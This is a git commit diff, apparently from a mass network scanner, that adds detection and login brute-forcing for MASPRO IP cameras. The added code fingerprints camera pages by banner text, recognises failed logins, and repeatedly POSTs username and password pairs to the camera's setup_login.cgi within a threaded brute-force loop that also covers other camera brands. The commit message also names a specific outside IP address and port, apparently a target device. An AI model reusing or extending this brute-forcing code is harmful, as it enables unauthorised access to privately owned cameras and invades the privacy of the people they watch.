Added MASPRO camera support. (222.12.209.75:8080)

This commit is contained in:
cora32 2015-04-19 13:27:04 +03:00
parent a9152d56c8
commit 871d22c5ba
4 changed files with 37 additions and 33 deletions

View File

@ -155,9 +155,7 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
if(postData != NULL) {
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
};
if(postData != NULL) curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
if(customHeaders != NULL) {

View File

@ -54,7 +54,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
negVector.push_back("var check=\"0\"");
negVector.push_back("var authLevel =\"0\";");
}
else if(strcmp(SPEC, "IEORFOREFOX") == 0)
else if (strcmp(SPEC, "IEORFOREFOX") == 0)
{
negVector.push_back("AAA()");
negVector.push_back("Имя или пароль неверные!");
@ -62,10 +62,13 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
negVector.push_back("HTTP/1.0 302 Found");
negVector.push_back("is incorrect");
}
else if (strcmp(SPEC, "MASPRO") == 0)
{
negVector.push_back("action=\"setup_login.cgi\"");
}
else
{
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
return lps;
};
@ -129,19 +132,22 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
sprintf(request, "%s:%d/rpc/login", ip, port);
sprintf(postData, "user=%s&password=%s", login, pass);
}
else if(strcmp(SPEC, "DVS") == 0)
else if (strcmp(SPEC, "DVS") == 0)
{
doPost = true;
sprintf(request, "%s:%d/login", ip, port);
sprintf(postData, "langs=en&user=%s&password=%s&submit=+Login+", login, pass);
}
else if (strcmp(SPEC, "MASPRO") == 0)
{
doPost = true;
sprintf(request, "%s:%d/setup_login.cgi", ip, port);
sprintf(postData, "check_username=%s&check_password=%s&login=", login, pass);
}
std::string buffer;
if(doPost) {
res = Connector::nConnect(request, port, &buffer, postData);
} else {
res = Connector::nConnect(request, port, &buffer);
}
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
else res = Connector::nConnect(request, port, &buffer);
if (res == -2) return lps;
else if (res != -1) {
@ -177,12 +183,10 @@ lopaStr IPC::IPCLobby(const char *ip, int port, char *SPEC) {
if(gMaxBrutingThreads > 0) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
//BruteUtils::BConInc();
++baCount;
++BrutingThrds;
lopaStr lps = IPCBrute(ip, port, SPEC);
--BrutingThrds;
//BruteUtils::BConDec();
return lps;
} else {

View File

@ -380,6 +380,7 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const
&& (Utils::ustrstr(buffcpy, "/app/multi/single.asp") != -1
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)
) return 50; //Network Video System
if (Utils::ustrstr(buffcpy, "MASPRO DENKOH") != -1) return 51; //MASPRO
if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) ||
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
@ -1193,9 +1194,6 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
{
lopaStr lps = {"UNKNOWN", "", ""};
ZeroMemory(lps.login, sizeof(lps.login));
ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other));
IPC ipc;
lps = ipc.IPCLobby(ip, port, SPEC);
@ -2540,6 +2538,10 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
{
_specBrute(ip, port, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, size);
}
else if (flag == 51) //MASPRO
{
_specWEBIPCAMBrute(ip, port, "[MASPRO] WEB IP Camera", flag, "WEB Authorization", cp, size, "MASPRO");
}
else if (flag == 20) //AXIS Camera
{
_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size);

View File

@ -1 +1 @@
24B93-D0
24B93-9B